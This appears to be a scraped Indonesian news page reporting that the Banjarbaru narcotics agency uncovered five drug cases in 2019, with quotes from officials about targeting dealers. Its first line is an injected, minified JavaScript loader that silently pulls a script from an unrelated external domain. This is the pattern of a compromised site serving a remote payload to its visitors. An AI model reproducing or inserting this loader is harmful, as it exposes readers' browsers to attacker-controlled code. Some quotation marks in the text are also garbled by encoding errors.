(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Badan Narkotika Nasional (BNN) Kota Banjarbaru berhasil mengungkap 5 kasus penyalahgunaan dan peredaran gelap Narkotika sepanjang tahun 2019 ini.
Adapun dari 5 kasus tersebut, BNNK Banjarbaru mengamankan 5 pelaku yang masing-masing memiliki peranan berbeda.
Kepala BNNK Banjarbaru, AKBP Sugito mengatakan pengungkapan kasus ini berasal dari penyidikan pihaknya.
“Tangkapan kita di tahun ini mengalami penuruan dibanding tahun sebelumnya. Kalau di tahun 2018 kita mengungkap 11 kasus, sedangkan di tahun 2019 ini ada 5 kasus. Diantara pengungkapan 5 kasus ini, ada yang kita lakukan OTT (Operasi Tangkap Tangan),†katanya, Senin (16/11).
Walaupun mengalami penurunan, Penyidik Pratama BNN Kota Banjarbaru Bripka Eko mengungkapkan bahwa pihaknya memang memfokuskan pemberantasan narkoba dari jaringan yang berada di atas. Hal tersebut demi memutus mata rantai peredaran kristal haram tersebut.
“Dari 5 pelaku yang kita amankan, 3 orang diantaranya adalah bandar. Sedangkan 2 pelaku lainnya berperan sebagai pengedar. Kita tangkap pengedar dan bandarnya, agar suplai ke pemakai tidak ada. Kita putus rantingnya,†tegasnya.
Dalam giat penangkapan terhadap para pelaku, BNN Kota Banjarbaru di-back up oleh BNN Provinsi dan Polda Kalsel. Sebab, lokasi tempat tinggal para pelaku yang berada di wilayah pinggiran kota, dikhawatirkan akan adanya aksi melarikan diri atau bahkan perlawanan.
Dipaparkan Bripka Eko, meskipun pihaknya berhasil menangkap pelaku yang berperan sebagai bandar, namun untuk barang bukti narkoba yang diamankan tidaklah banyak. Terhitung, hanya 1,8 gram.
“Jadi saat kita tangkap bandarnya, barang bukti yang kita dapatkan sudah tidak banyak lagi. Kemungkinan sudah di suplai ke para pemakai. Namun, jangan dilihat dari besar kecilnya barang bukti yang kita amankan, tapi efek dominonya. Ribuan jiwa terselamatkan dengan kita tangkap bandarnya,†akunya.
BNN Kota Banjarbaru meringkus tiga bandar narkoba ini di lokasi yang berbeda-beda. Contohnya ada yang di Kecamatan Cempaka dan ada juga di Kecamatan Landasan Ulin.
Tidak hanya dari hasil penyelidikan saja, BNNK Banjarbaru juga mengamankan sedikitnya 4 orang yang positif narkoba saat razia gabungan di THM dan kawasan rawan di kota Banjarbaru. Saat itu ada, 11 orang yang dilakukan test urine dan 4 orang dinyatakan positif. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.